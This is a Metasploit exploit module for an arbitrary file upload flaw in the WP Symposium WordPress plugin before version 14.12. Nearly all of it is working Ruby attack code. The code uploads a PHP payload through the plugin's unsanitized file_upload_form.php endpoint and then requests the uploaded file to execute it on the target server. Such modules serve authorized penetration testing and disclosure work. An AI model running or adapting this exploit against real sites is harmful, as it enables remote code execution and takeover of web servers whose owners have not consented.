WordPress Plugin WP Symposium 14.11 – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress WP Symposium 14.11 Shell Upload', 'Description' => %q{WP Symposium Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /wp-symposium/server/file_upload_form.php script does not properly verify or sanitize user-uploaded files. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server.}, 'License' => MSF_LICENSE, 'Author' => [ 'Claudio Viviani', # Vulnerability disclosure 'Rob Carr <rob[at]rastating.com>' # Metasploit module ], 'References' => [ ['OSVDB', '116046'], ['WPVDB', '7716'] ], 'DisclosureDate' => 'Dec 11 2014', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['wp-symposium < 14.12', {}]], 'DefaultTarget' => 0 )) end def check check_plugin_version_from_readme('wp-symposium', '14.12') end def generate_mime_message(payload, payload_name, directory_name, symposium_url) data = Rex::MIME::Message.new data.add_part('1', nil, nil, 'form-data; name="uploader_uid"') data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"') data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"") data end def exploit print_status("#{peer} - Preparing payload") unique_name = Rex::Text.rand_text_alpha(10) payload_name = "#{unique_name}.php" symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php') payload_url = normalize_uri(symposium_url, unique_name, payload_name) data = generate_mime_message(payload, payload_name, unique_name, symposium_url) symposium_url = normalize_uri(symposium_url, 'index.php') print_status("#{peer} - Uploading payload to #{payload_url}") res = send_request_cgi( 'method' => 'POST', 'uri' => symposium_url, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0' print_good("#{peer} - Uploaded the payload") register_files_for_cleanup(payload_name) print_status("#{peer} - Executing the payload...") send_request_cgi( { 'uri' => payload_url, 'method' => 'GET' }, 5) print_good("#{peer} - Executed payload") else if res.nil? fail_with(Failure::Unreachable, "No response from the target") else vprint_error("#{peer} - HTTP Status: #{res.code}") vprint_error("#{peer} - Server returned: #{res.body}") fail_with(Failure::UnexpectedReply, "Failed to upload the payload") end end end end |